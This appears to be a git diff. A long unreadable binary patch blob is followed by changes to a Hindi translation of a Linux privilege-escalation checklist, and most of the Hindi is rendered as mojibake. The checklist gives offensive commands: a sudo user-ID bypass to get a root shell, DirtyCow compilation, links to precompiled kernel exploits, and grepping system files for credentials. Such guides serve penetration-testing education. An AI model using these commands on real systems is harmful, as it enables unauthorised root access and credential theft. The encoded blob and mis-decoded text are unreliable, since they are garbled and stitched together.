z#{qi5iB5o4?9QAi0hcf3mj~FnGZ-uFNM6tj0IoeOtop{wK(fluI>0y z_NL%O=lKVDXAK_9bRQFdr1bp6t@l>6ZWw($2y&(DAPiAbU2C>yc63~^|OGKu`ASxB+= zgG%tXnHHea2=fcX-MdqQbj{(q;^Gg^KVtgCFo6LmoyM!qA`hsv=TQ#sxRczPPhs z4XrV%$S>p_;ma_qtB+aWk`Hp=vDa-2!!a>2FHw*J?Sy+b@k$$lduZO5I7gIsewNAR z@qVKaJtMJv^JM(wgO1#1IAo&p`e!(m1smuJnxmbdY;n!;&U_ordK9xo@pJLe-I&w$ z^=03;8P_`Cl_R0u)-r;~$V@8GM8xzeV8nrsy0ZxAn*g5#q8z59Z^FsR%4Q*~(&pZT z%+uGg6}jqOm#DBw5q?TSfenn6{B(Mh=Jz)wEDLuoRimdb?R1jm*u2!}X%dVn0NsVx z?u}E%nj2I10*qJSV`GS|fS#II)4ao3#zG*Oe3=8owhMvkV=)Dk>Dg__OiDZf(Fq`V z+`<>=mH7DPjdjSwy>C39c@x$~gdtwVsy&Lc2oh$9LfSpg;C}Wi@<3;(Gkne6DSd>D>8*ZJBZ5f~=E}l$H-ROzk`sA0K?UIP( z!o~dRHi>h^ha~u=^OAL7<4%qOSO)p@N;I|ik_+;ToipL?hTXJt4rBlfK9a6^Pc+9L z>;5^j#5>kITl9r%YHNBb>>Qf4to0-H1^}QDsuf$IXqrM&;$Vr3OH%%HKC)RGtER)_ zx2n9Cq%`53~`bl_VyqdXjPXXA2=*E3UewM?G3Z_$eW>cwlW6#5OE8h7iThI>x0%ZX#u&X@ zfn%C>DUPo-fP9q^$D47sb@y8%UET8c%|X1NweehLAEJ@t-w*NBG;lcx?SPuWDq`2; zDx4qk2R(m4S+S`n9Pf*Bdg{+#2>T)l4NpPaKb5D2F9?GedhYb@OULe8xDQaEBw)n8 zgj7LH4P4fbX@P+g->XJpqGTi5QXOrJYSq@?%YSkJO;LLePMYFGD5>&&2Lq54;FCW$ zv0(o*zxT$fd$@9*Fau?;!h!||Op1N$ruf5X+z#s`9oBk7#~_-OEBPRc7w>nk4`zcE zu18h9GCFO}I;L$q6np9ybnP0gGgr{+IUIP6*#Y(dpyF?%IE!ve>@kVk%g3HMETwPW zG|UXb?vrnIm`o|}7!Q8`UZ4HF@Rtph{!7qn`O4Fu+cu@Dn*iG4qm)B;alRdMUGj)f z{h7yab$5%dke*&!#PxGY3z`D62b2L6?N1I`G`mFExC#TP`54gI=H5l-U9^0Y?1jcb zZ1g~Ems|V|1x%bA+EwS21m%f#?pYJI4oT5RF$KHN-U}fN@IY#@9q%$@)A&}@xJ0zK zFAQ$XMM@c$(YlfAglaZ07z5V%kCE7IRoicpG5x9cvZeZN$6kcp zdZe!P5EtVw9pird==Ixe$q&o;&qAG@@7ZqX?N4S|-yfcvGY0l~aNA%FxLZfpIQ*L2 zU_nza@;cFZ?x(ur5}^5z2QdxVcEFt6_77iRXTn(_i66baXcuOkS*+s#8^IwzKQO+k z@<;0pB-W{{8NfTH<4K#op;|vGJa&cm)hkS{rr6KtU5_>EdEK-3>0Z}Fw>h4G&S;E8 zJU|&5(r;@djirQ!cL{7nEwtoUpsC8IWYY+gyE}D;8BRo>&?cQ2Huq1FNwqi zxNp1ZCmnji;0-pZTEOezi?%9QT9exrW3ITNNSkMOQRgMXx1PWAx?lq|y9{ytp6!(w zU=Cgw%g9P#%ujnN2c!VDI9IMST_U~YMlQd6wZll5%QQ7hlIAO?o-^RjYRRRqu=ft@ zsXb1;MYMu6k>rZhl(#%4?)@1j`z)Xl+uCDNV~Sxx6%!3feuYw4G)ukWF?h;5>M>pBF7hj*VrT#_q}I zl1RJ0y`N*Vz9WUdb?oS1>y6YnETI9gfI&iqMVYHxJ2H<$(2I`Pg7;C{`ID$9d%IiR zW|grZxx_KnlEz}N33R;9ZDVZEq|>jm__}EIFu)Y8#*p}00ol|vCjLcaTSR*XVvUI? zi)Ow%XF?fiS~v$U_~v)#G&4-%j$=^BO~$LF_o=+VMoz)W((+gI-n)OGJik*;n=}Jh zpB^Jc#OZkfEJgm2UT#>FFBOY~ckymqE%#$ZN{e;X=bDxydK91VLsjV=&deQQ zL$lU->apMhcmR#*ucVZEjBtcIsRUv$Ngv{G={W5%K0dCsUq^{I(qTLD0MdPH;TJg{ zMxJSuHNZoW{IZ#-?l(z2X9B&2nxIPSAb3YAa&gOEH`fY*dz9p3K4&h*YjBPlR9us&k{E8W(;Z`I!nu=hBm(o@J2<2 zf)QzTl!;y}=ygZilICbWSwRT(@V0A>y$KAz&NZpBhL?)yBo$|lMFT**rD49`HWXRD z_q@ID3S`8xKL;+Y4&-4ZXgsQIGI~zW9tl=mo1C1RN1DrQcH~u*7HbRZ4CHXl&r99D z;tc4Mxk6sLQJI(x$n5vAgeh#WFo_TDVT+}ts`zprBi38-zSHI8&ROQB{;%Wv$cS2J zAIZA0G0_FZ4bdU%ciAMNRcF~a_`1fClSfkZxR<;&xoo9ZQAt2g#B3sc)UCN#%Ljs4 zs+NnszyZ^D{|JN&+|IVm_IC3zNlyH?bcqKE!;jqIl)vHYv;NZkN!MdoS-E!ZpSl|K)zlkrhjm;e0lCck zyJ4#G+hSYQhav>pp?Ly;Jxolamq*$qf5E5Gm>N!v7uIr?s$Kc|@C8|16thd<<3O_x z;)=sii_Flyg}0Ho{dhroEbjreOI7Q1VIyhKzCS;|P`P3gblV$1o^GOz&)>gqUFh?% ztLzZG)>Jfj4jiMQKnc1Ygy$&RE^19X7gM~SCKjxeCY0)9X!&@|Cux7Vk4I6lfI9$v zE|_~CLp9@`FQyn`dG=g=fhkrsdD<`mC}uZ+b-zCgsjRk`WnK7`G0>|SiN(X#*Vh%Z57PlwMc{PS;Igg~C;AK6&im$R zZ;z?pf_hD6=FIx-7g^We10*0k*sY-S=_$X61GhcRWv+n-1x;ewp@qHEyHbB>9H!t) z45~eWlgE|%qZ$`2K&_gmLI#B*Jwc~eTfGK3N%aowM*)_QBGnv(*Zy%0_FBmL>}SmSyo5`V@cd8*qtbMGJsWoi@v@ zlCmURZl17%Q9m3gIrzTUSB*+t$>5%YU^`%98 z0CXz`@c(6m-#kWX@3ZyPK~hq5(EL7pXn1&c4)AsesayKA*O)x~g41Mr5GI5h09KEG~lW(v?U%B9hM4 z%SJ;y0v-yV(C{}PE@>9pu^H$Ezn}YO;N@hdRw(uyAv=8}yzPuR(PiK<^Swv5P*O$KUk&J`y(t zD1eE&ReDT)R&F1J&AZ;-%u579&M+Z~77op_iI-iZ|Wok zq7!r&#XKc*(>XFyu^5^YE=nAr4&SEa9YE-xN$F~b+kXV~t~fMjdRSGK{=#N+Jt@=l zts&JrPt-GVVmj=ve6(#w2!9vB47az|($JslvcvCETEp{Mf&I@%1>Ne&rl$HfL2E%? zlr##!_K?WgTTnL}+EyJ;YuAT*Rph zT$}3;RY!)EwNasc=#a7|;`vf0yVQAg=2DQ${{2px61t~y^B(?{w|hE#_WL50R6Q46 z#6|eJ)us{eUx+^{`bi7Y*3J7eqt>#rHdk#~XV0LQWJnfvEqnt!%c%M4GXRRf2^S_+ z^5Lqsc=*i@!B!*Ua-3bY@&X;HI<#c-)f~uK$JE=NAo~pSp~?#={>i1Dk;a=eJg~92 z{np0xjCNXlT%lZve&Mf?X(4Kbz0jc zHuf8cWRtvqE0W!;#V|r z8t2;2&YWrpSo$w+bpP4$ZbY4=3kFY`nIIuY-TS*wtWMD%ryf*OfFb#$Km4{*E6pt< z6!ZOdnN{)&C^*+V145QvS3dUbXQY|F2kUb7sYHFI>#v~0jVAv1gviK6(6XBY@azo6 zk>;e4`&#WCYzvs_`GT%1N%iYgMpsZeYWw`;TmBUjDsR-d=U}+N9_KZj}-rS%cv5CH?P{F=4Jvt26ivvdmT_e86zwQ4zcG< z*G({BHq}GeIW*9~6iW685Ee%BQqhM5AQW14<(~%Deda(^Ha|LVU7G536#EUlu=B9#~v>pz_6tUV73BU zu{OSozfUganwzhq$_+zuZUkz-ZuJj#7VT@K^=|=uO(M#F0(?&R-C1g?P$v#wN`+j` zeDIHW_I83iJB905`yl!Tw{Bb5@nH*t&UCXIlFlM3GBQ4Z8aza}gcC{48UL8DvBS8% zpubMEXCYaeP(8qTPe>^uf5oD59UrggmZ=MhMLjPgVE)s@)K|SsCQg!WqrzHq=(2G~ zl}w~db_m(l_f!?{{#k)E2_VnX1n)$zp_{MTR^MT4{Xdp98p7CaE_m(>HomxQ04OGc z61zF?3)zN7M{A5>5v`~zry9pBo*3#ck8a`ai2r7X*puDOJQF#!++Hv8e|ajtIO{~H z>ocEi?sF@D_+di2>rE|#8jl^Rdcy78-^jb>>5xOvVE_DL+K#ZpbUFwc^rysdH>bM# zh3Fjrtw>=*DalxQ|Fi7+PEUrLHYzNmCqbA`c|PP+-Cu7j3!iNRP%7MlYevPKW)BS| zz-N-ko~+B{)P$%eT`3l?f?WfSkmakkgtXI5r&V|b&UcNq-iR1zpZ7y`N7Lb1pEOeY zZng*+eN2j~-oxoD8K8uApIOZ_$}ht$8$>>ofdxhzo*o??58i!xdKTUwZflo$W9n#g zR$7{1d3K0BXsQ-_oq}A;t%od0ivhsBCnhQr^vF7+Ccn{Mz2s@g>W@hjSJHs_6qzSr zqzT-s&gGCbH(3<@&rk;~mWvlIcrl9?4_rA`3?r(}$Qo6(I$(X*cSBY=@=o|!SA?9u zztSy}158Ga7A{0i96z%Of#|LV+w_=s(%)SR!AV;_BS94V63msV=I!xA?H}6XM zgAjh->o|`NTOG;sxC#7e7z+>iK^@4mS79uK;Eu&=^WhSNU)CalXJO)St$(!pl$xS&I)0X@{u!PIAw_K;24oT%^OyBD<7BP z6^&HI6``yUR^gh9;@?$YYd=l~w4kOiC1p6JbAvXjf~EvC=gJRgF9{9;qLbG@*SkJv$NSf$BsF3Ok4W+erklq`4tvNci!3C$EtAw zWJ^_D*0+(>Kt+eg^$hQF3ji#Ci)CGF|8~gsc0E1Fcv^Vqgj2nhSPS|u9XBx?XSpD` z{!kLu(j)3!#xz`-uhJd{hlQ32XSn(+8r>kWY1`L${8t@ z5Oij&D;|K`Bi${QAX&2D6~)Sh-ld+4+q%6M$ZJs@fxM8plW*426}=L&KD&LN?$fmp zFBfz;S#w=>LzLoI9@by^lkDdR<^I}=6nNdNK-s{9PhmH6mhPngqZ#yzy_ zr(|~M(;55DIqM#>ctWFc=8`gUY*d9|d>1%$D^hm!9dE6@Ke2zi;!Y2R_?!pv8=)OO z2=W}yVE2Lp3X$ojDPE_$eG`uMAzJu78?+j{V+gsPV-z0>02Wmn?$0wSPeMWsNRcy6x*5uQQP^w7Dvjp3bn+eo| z26as{T=@q2Et1Ba)9lWgODv4o*T&QVYn;Z`v;`ipojNOtd`3(A!~LEL9E@bD)Fp=J zxWxUpJ!)IJvarGPjZLIB3-&PQp+R?^%;WW5p*{D1ZqAI4d*DjBX9atF;fCsJ^EISy zli|X`JSmn1TQ=6V{dp=;rag)w&BHvZBkk&tU?0H9)Mn5GapEb(O4jo>-c#T6HWB-F zv@AUzjh?$1-@FpLX$Hy0opUs#z*gX0VUJcOMxi^*zb(;tmmWQKwKfhMfr{J zd?t!xE<|hgmcnK}GHympOZ7bnu^SR1ENfk9HRGT@{Xk6Ikc+oICQ-nDa!ya>X@Ss` zptLX3!kN=1q%uybCnkVO$&BT{JHzc;3dymM{)R1XIbVJOS`z~ZvDqi$U2drpGT)_4 zYFTBDGV;MGqbl36;`sV0Ni{)qIwr*?C%Kp-;KY23MgNuo(9ZM4ihfl=CcjA1tVw$y5|Q% zJ;wSgVM{(`aWYhc2R7p(0`~2W%S~>%!E^DUB?}kzOxq8cv6@G~JXecjxp=s4jzy{J zX{W*v@5$FM0uhKgi&J7qf=njNVCRP3&p&xFJ%x&0_N8~pxp$*^_aYMqZ3=ODX8Xfm z`Z4#Do;+$C!xPGn{kMy+Z%O0nRXQDLg5LIe&(P|xfJ_Hj{zLAy^5{1!Yth# zT3|%|2f|YJt=U?80~l4D={K>iVk@dwO&baiaB%3Jt18^pQOqBPa`AKo`J=7GE~P^e zhIG#IPRI12DZwWV;oR+&*K}Yp7zCgExnCJ3YM%Q&o87`0GPRdG`txu_ILB7Rye!Po zB#)ap)Rqm>9(9739ZJ#Z30=G!oQ6T9Sv5sDo0*mf%5<^OA1qZ+m@F!c4#F;jB@YPO zJ1u4LQwg}8yq&6@NN-$ zi&)gps6jue`Q_E6PlP?6p0Um#*ii(KSdRB;MJO$Z5kn*Sb|_DKK4L4Py_%&pd#Mb89e556v&{K}- zBEPSVGmEgXk%4M0-1#&rB%I;B{n~ zj#FB9$M|;MbdE)IUx$R{YMo22?^oD{f6IQ>OEvfuwikZZ#jTq})RA>*(D%?)VuE{q~)iTxrI-QsIFI4XNxA0_L$XfzZ$C@x@Z)luC_3*2{|{BiI^rg2_! z*U)iK;;GPHx}?Vz{NPqso&@t}uvuj@Anxi(3_3AV#cc!dI=rEmu?)O-JAT9V(@F}8 zws<*dD{d}HUr#x21nF%t7f`ZzS5UHunDvjHVqgJRxPmryZ{9a?>?y#(H1d>RHWF?HQovT zT&L2`AD-a#fERmQ05r-egm-&BCLS>)MZB4sAE(81sl)uDtKMtDUL9VJl(e{ZV2rMv zCRU&M&>{IV-LAO)(Kq)3{<&Et0rz_SuP@tEWBa(cG`N3-vwf}OdFG8oDFLzon`9+E zVmW{kmI}Dpq!LkaF$Q1mo1Qcg4bm<-R{i3W(_Iu^VuaNY3Niib1_9@0J(ZfU&&7`- zv#B`A!QULBKOpGL`z8&in{+tiF@R|tt5-(yA{1E~yl zF#qKPble-UV8quyzA0#1Wbyi8<<~hKSD$0K9uGc=wuie7ba0`Rho@x^B4|WQhuI7w z29sfNG5+oR8gvInAv9v8u21hKCNm5DmBYjZ6o3&Xvdl_q?T9zbo3Ac9EzbuLT&jF7 zZ}r>HX6PYrTY}vCBu@-UW8E|Ld7FSzvaX3p9)G2gX{%3=gJac3V9$Pnv zM^gJ(?VD2V=69=amp7hIw*-fky&o|(9f0R>gDMvY2G@gxouxnVbw=KAWk`NFZUPo%wC=W4}vYQbbUS?PoW>Czuj+@EP1Lbqnz zdEwrZb2w*3pdNKKc_bzVF3P(=ke)_?&N3Iv%77j9@=$=@6Xmr4rFd~ zcZ1@fEXAr}rky+Q+bb$4xEy&xCY~S1)sp{B$ z_@%x(56+iwRNEU2y&G<`)G$l8wXMmdm zbUGe3Y*oWD9Z!f?u*hWmv{ZHRFG@8qkY^mMwM%yyo^jVmySKMqXrirL1sWCch4q;` zO&W-{R{IzaSB?wqs^U^YQCSeXTEI-ivJc#Vsu@b&ZXU-arMx44R40UPa>? zu>#l>5qfxd3?enA2o9gqu73rZMyrS1emK-SiRh9Ee&_0JG(59o8+56Y9ym??v{a<9S|NH&@ z`$hi0{&Lk~B*|mL6B)>J;vZ=ia*f)A1Y|-*M@V#6f%Z$;Xqo!&#b;bxB~>(~!ruzy6>yWJn$aSI z{~YIk^9vXpoq)?3{D2e!ZS z7*HrejW~%F_wQ_FG$$y(piq2P?(dv`tUy~mYM#5`zcnNGfC;&0|1sq63=fHH<>9>_ zNccakuRjm@3Yd^rQ?4X`Yj^J-y_l6{5|Ih#O z-~6IaiBNlD^G)z?4ey_Y{O>jX&qDt98b|-LkpI20{)x!{4%YwQN91$7ds/dev/null lsb_release -a 2>/dev/null # old, not by default on many systems @@ -14,7 +14,7 @@ cat /etc/os-release 2>/dev/null # universal on modern systems ``` ### Path -рдпрджрд┐ рдЖрдкрдХреЗ рдкрд╛рд╕ **`PATH` рд╡реЗрд░рд┐рдПрдмрд▓ рдХреЗ рдХрд┐рд╕реА рднреА рдлрд╝реЛрд▓реНрдбрд░ рдкрд░ write permissions** рд╣реИрдВ рддреЛ рдЖрдк рдХреБрдЫ libraries рдпрд╛ binaries рдХреЛ hijack рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ: +рдпрджрд┐ рдЖрдкрдХреЗ рдкрд╛рд╕ **`PATH` рдХреЗ рдХрд┐рд╕реА рднреА рдлрд╝реЛрд▓реНрдбрд░ рдореЗрдВ рд▓рд┐рдЦрдиреЗ рдХреА рдЕрдиреБрдорддрд┐** рд╣реИ рддреЛ рдЖрдк рдХреБрдЫ libraries рдпрд╛ binaries рдХреЛ hijack рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ: ```bash echo $PATH ``` @@ -26,26 +26,26 @@ echo $PATH ``` ### Kernel exploits -Kernel version рдЪреЗрдХ рдХрд░реЗрдВ рдФрд░ рджреЗрдЦреЗрдВ рдХрд┐ рдХреЛрдИ exploit рд╣реИ рдЬреЛ escalate privileges рдХреЗ рд▓рд┐рдП рдЗрд╕реНрддреЗрдорд╛рд▓ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗред +Kernel version рдХреА рдЬрд╛рдБрдЪ рдХрд░реЗрдВ рдФрд░ рджреЗрдЦреЗрдВ рдХрд┐ рдХреНрдпрд╛ рдХреЛрдИ exploit рд╣реИ рдЬрд┐рд╕рдХрд╛ рдЙрдкрдпреЛрдЧ privilege escalation рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред ```bash cat /proc/version uname -a searchsploit "Linux Kernel" ``` -рдЖрдк рдпрд╣рд╛рдБ рдПрдХ рдЕрдЪреНрдЫреА vulnerable kernel list рдФрд░ рдХреБрдЫ рдкрд╣рд▓реЗ рд╕реЗ рд╣реА **compiled exploits** рдкрд╛ рд╕рдХрддреЗ рд╣реИрдВ: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) рдФрд░ [exploitdb sploits](https://gitlab.com/exploit-database/exploitdb-bin-sploits).\ -рдЕрдиреНрдп рд╕рд╛рдЗрдЯреЗрдВ рдЬрд╣рд╛рдБ рдЖрдк рдХреБрдЫ **compiled exploits** рдкрд╛ рд╕рдХрддреЗ рд╣реИрдВ: [https://github.com/bwbwbwbw/linux-exploit-binaries](https://github.com/bwbwbwbw/linux-exploit-binaries), [https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack](https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack) +рдЖрдк рдпрд╣рд╛рдБ рдПрдХ рдЕрдЪреНрдЫреА vulnerable kernel рд╕реВрдЪреА рдФрд░ рдХреБрдЫ рдкрд╣рд▓реЗ рд╕реЗ рд╣реА **compiled exploits** рдкрд╛ рд╕рдХрддреЗ рд╣реИрдВ: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) and [exploitdb sploits](https://gitlab.com/exploit-database/exploitdb-bin-sploits).\ +Other sites where you can find some **compiled exploits**: [https://github.com/bwbwbwbw/linux-exploit-binaries](https://github.com/bwbwbwbw/linux-exploit-binaries), [https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack](https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack) -рдЙрд╕ рд╡реЗрдмрд╕рд╛рдЗрдЯ рд╕реЗ рд╕рднреА vulnerable kernel versions рдирд┐рдХрд╛рд▓рдиреЗ рдХреЗ рд▓рд┐рдП рдЖрдк рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ: +рдЙрд╕ рд╡реЗрдмрд╕рд╛рдЗрдЯ рд╕реЗ рд╕рднреА рдХрдордЬреЛрд░ kernel рд╕рдВрд╕реНрдХрд░рдг рдирд┐рдХрд╛рд▓рдиреЗ рдХреЗ рд▓рд┐рдП рдЖрдк рдпрд╣ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ: ```bash curl https://raw.githubusercontent.com/lucyoa/kernel-exploits/master/README.md 2>/dev/null | grep "Kernels: " | cut -d ":" -f 2 | cut -d "<" -f 1 | tr -d "," | tr ' ' '\n' | grep -v "^\d\.\d$" | sort -u -r | tr '\n' ' ' ``` -kernel exploits рдЦреЛрдЬрдиреЗ рдореЗрдВ рдорджрдж рдХрд░рдиреЗ рд╡рд╛рд▓реЗ рдЙрдкрдХрд░рдг: - +Tools that could help to search for kernel exploits are: + [linux-exploit-suggester.sh](https://github.com/mzet-/linux-exploit-suggester)\ [linux-exploit-suggester2.pl](https://github.com/jondonas/linux-exploit-suggester-2)\ -[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (execute IN victim,only checks exploits for kernel 2.x) +[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (execute IN victim, рдХреЗрд╡рд▓ kernel 2.x рдХреЗ рд▓рд┐рдП exploits рдХреА рдЬрд╛рдБрдЪ рдХрд░рддрд╛ рд╣реИ) -рд╣рдореЗрд╢рд╛ **kernel version рдХреЛ Google рдореЗрдВ рдЦреЛрдЬреЗрдВ**, рд╢рд╛рдпрдж рдЖрдкрдХрд╛ kernel version рдХрд┐рд╕реА kernel exploit рдореЗрдВ рд▓рд┐рдЦрд╛ рд╣реЛ рдФрд░ рддрдм рдЖрдк рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рд╣реЛ рд╕рдХреЗрдВрдЧреЗ рдХрд┐ рдпрд╣ exploit рд╡реИрдз рд╣реИред +Always **search the kernel version in Google**, maybe your kernel version is written in some kernel exploit and then you will be sure that this exploit is valid. ### CVE-2016-5195 (DirtyCow) @@ -57,17 +57,17 @@ g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs https://github.com/evait-security/ClickNRoot/blob/master/1/exploit.c ``` -### Sudo рд╕рдВрд╕реНрдХрд░рдг +### Sudo version -рдЙрди рдХрдордЬреЛрд░ sudo рд╕рдВрд╕реНрдХрд░рдгреЛрдВ рдХреЗ рдЖрдзрд╛рд░ рдкрд░ рдЬреЛ рдирд┐рдореНрди рдореЗрдВ рджрд┐рдЦрд╛рдИ рджреЗрддреЗ рд╣реИрдВ: +рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдореЗрдВ рджрд┐рдЦрд╛рдИ рджреЗрдиреЗ рд╡рд╛рд▓реЗ рдЕрд╕реБрд░рдХреНрд╖рд┐рдд sudo рд╕рдВрд╕реНрдХрд░рдгреЛрдВ рдХреЗ рдЖрдзрд╛рд░ рдкрд░: ```bash searchsploit sudo ``` -рдЖрдк рдЗрд╕ grep рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЬрд╛рдВрдЪ рд╕рдХрддреЗ рд╣реИрдВ рдХрд┐ sudo рд╕рдВрд╕реНрдХрд░рдг vulnerable рд╣реИ рдпрд╛ рдирд╣реАрдВред +рдЖрдк grep рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдпрд╣ рдЬрд╛рдВрдЪ рд╕рдХрддреЗ рд╣реИрдВ рдХрд┐ sudo рд╕рдВрд╕реНрдХрд░рдг рдХрдордЬреЛрд░ рд╣реИ рдпрд╛ рдирд╣реАрдВред ```bash sudo -V | grep "Sudo ver" | grep "1\.[01234567]\.[0-9]\+\|1\.8\.1[0-9]\*\|1\.8\.2[01234567]" ``` -#### sudo < v1.28 +#### sudo < v1.8.28 рд╕реНрд░реЛрдд: @sickrov ``` @@ -75,7 +75,7 @@ sudo -u#-1 /bin/bash ``` ### Dmesg рд╕рд┐рдЧреНрдиреЗрдЪрд░ рд╕рддреНрдпрд╛рдкрди рд╡рд┐рдлрд▓ -рдпрд╣ рджреЗрдЦрдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐ рдЗрд╕ vuln рдХрд╛ рд╢реЛрд╖рдг рдХреИрд╕реЗ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ, **smasher2 box of HTB** рдкрд░ рдПрдХ **рдЙрджрд╛рд╣рд░рдг** рджреЗрдЦреЗрдВ +рдЗрд╕ vuln рдХреЛ рдХреИрд╕реЗ exploited рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ, рдЗрд╕рдХрд╛ рдПрдХ **рдЙрджрд╛рд╣рд░рдг** рджреЗрдЦрдиреЗ рдХреЗ рд▓рд┐рдП **smasher2 box of HTB** рджреЗрдЦреЗрдВ ```bash dmesg 2>/dev/null | grep "signature" ``` @@ -86,7 +86,7 @@ date 2>/dev/null #Date lscpu #CPU info lpstat -a 2>/dev/null #Printers info ``` -## рд╕рдВрднрд╛рд╡рд┐рдд рд░рдХреНрд╖рд╛ рдЙрдкрд╛рдпреЛрдВ рдХреА рд╕реВрдЪреА +## рд╕рдВрднрд╛рд╡рд┐рдд рд░рдХреНрд╖рд╛ рдЙрдкрд╛рдп рд╕реВрдЪреАрдмрджреНрдз рдХрд░реЗрдВ ### AppArmor ```bash @@ -123,15 +123,15 @@ cat /proc/sys/kernel/randomize_va_space 2>/dev/null ``` ## Docker Breakout -рдпрджрд┐ рдЖрдк рдХрд┐рд╕реА docker container рдХреЗ рдЕрдВрджрд░ рд╣реИрдВ рддреЛ рдЖрдк рдЗрд╕рд╕реЗ рдмрд╛рд╣рд░ рдирд┐рдХрд▓рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ: +рдпрджрд┐ рдЖрдк рдХрд┐рд╕реА docker container рдХреЗ рдЕрдВрджрд░ рд╣реИрдВ, рддреЛ рдЖрдк рдЗрд╕рд╕реЗ рдмрд╛рд╣рд░ рдирд┐рдХрд▓рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ: {{#ref}} docker-security/ {{#endref}} -## рдбреНрд░рд╛рдЗрд╡реНрд╕ +## Drives -рдЬрд╛рдБрдЪреЗрдВ **what is mounted and unmounted**, рдХрд╣рд╛рдБ рдФрд░ рдХреНрдпреЛрдВред рдЕрдЧрд░ рдХреБрдЫ unmounted рд╣реИ рддреЛ рдЖрдк рдЙрд╕реЗ mount рдХрд░рдХреЗ рдирд┐рдЬреА рдЬрд╛рдирдХрд╛рд░реА рдХреЗ рд▓рд┐рдП рдЬрд╛рдБрдЪ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред +рдЬрд╛рдБрдЪ рдХрд░реЗрдВ **what is mounted and unmounted**, рдХрд╣рд╛рдБ рдФрд░ рдХреНрдпреЛрдВред рдЕрдЧрд░ рдХреБрдЫ рднреА unmounted рд╣реИ рддреЛ рдЖрдк рдЗрд╕реЗ mount рдХрд░рдХреЗ рдирд┐рдЬреА рдЬрд╛рдирдХрд╛рд░реА рдХреА рдЬрд╛рдБрдЪ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ ```bash ls /dev 2>/dev/null | grep -i "sd" cat /etc/fstab 2>/dev/null | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null @@ -140,75 +140,60 @@ grep -E "(user|username|login|pass|password|pw|credentials)[=:]" /etc/fstab /etc ``` ## рдЙрдкрдпреЛрдЧреА рд╕реЙрдлрд╝реНрдЯрд╡реЗрдпрд░ -рдЙрдкрдпреЛрдЧреА binaries рдХреЛ рд╕реВрдЪреАрдмрджреНрдз рдХрд░реЗрдВ +рдЙрдкрдпреЛрдЧреА binaries рд╕реВрдЪреАрдмрджреНрдз рдХрд░реЗрдВ ```bash which nmap aws nc ncat netcat nc.traditional wget curl ping gcc g++ make gdb base64 socat python python2 python3 python2.7 python2.6 python3.6 python3.7 perl php ruby xterm doas sudo fetch docker lxc ctr runc rkt kubectl 2>/dev/null ``` -рд╕рд╛рде рд╣реА, рдЬрд╛рдВрдЪреЗрдВ рдХрд┐ **any compiler is installed**ред рдпрд╣ рддрдм рдЙрдкрдпреЛрдЧреА рд╣реИ рдЕрдЧрд░ рдЖрдкрдХреЛ рдХрд┐рд╕реА kernel exploit рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛ рд╣реЛ рдХреНрдпреЛрдВрдХрд┐ рдпрд╣ рд╕рд▓рд╛рд╣ рджреА рдЬрд╛рддреА рд╣реИ рдХрд┐ рдЙрд╕реЗ рдЙрд╕реА рдорд╢реАрди рдкрд░ compile рдХрд┐рдпрд╛ рдЬрд╛рдП рдЬрд╣рд╛рдБ рдЖрдк рдЙрд╕реЗ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдЬрд╛ рд░рд╣реЗ рд╣реИрдВ (рдпрд╛ рдХрд┐рд╕реА рд╕рдорд╛рди рдорд╢реАрди рдкрд░)ред +рд╕рд╛рде рд╣реА рдЬрд╛рдВрдЪреЗрдВ рдХрд┐ **рдХреЛрдИ compiler рдЗрдВрд╕реНрдЯреЙрд▓ рд╣реИ**ред рдпрд╣ рдЙрдкрдпреЛрдЧреА рд╣реЛрддрд╛ рд╣реИ рдЕрдЧрд░ рдЖрдкрдХреЛ рдХреЛрдИ kernel exploit рдЗрд╕реНрддреЗрдорд╛рд▓ рдХрд░рдирд╛ рд╣реЛ рдХреНрдпреЛрдВрдХрд┐ рдЗрд╕реЗ рдЙрд╕реА рдорд╢реАрди рдореЗрдВ compile рдХрд░рдирд╛ рд╕рд▓рд╛рд╣ рджреА рдЬрд╛рддреА рд╣реИ рдЬрд╣рд╛рдБ рдЖрдк рдЗрд╕реЗ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдЬрд╛ рд░рд╣реЗ рд╣реИрдВ (рдпрд╛ рдХрд┐рд╕реА рд╕рдорд╛рди рдорд╢реАрди рдореЗрдВ) ```bash (dpkg --list 2>/dev/null | grep "compiler" | grep -v "decompiler\|lib" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; which gcc g++ 2>/dev/null || locate -r "/gcc[0-9\.-]\+$" 2>/dev/null | grep -v "/doc/") ``` -### рдЗрдВрд╕реНрдЯреЙрд▓ рдХрд┐рдпрд╛ 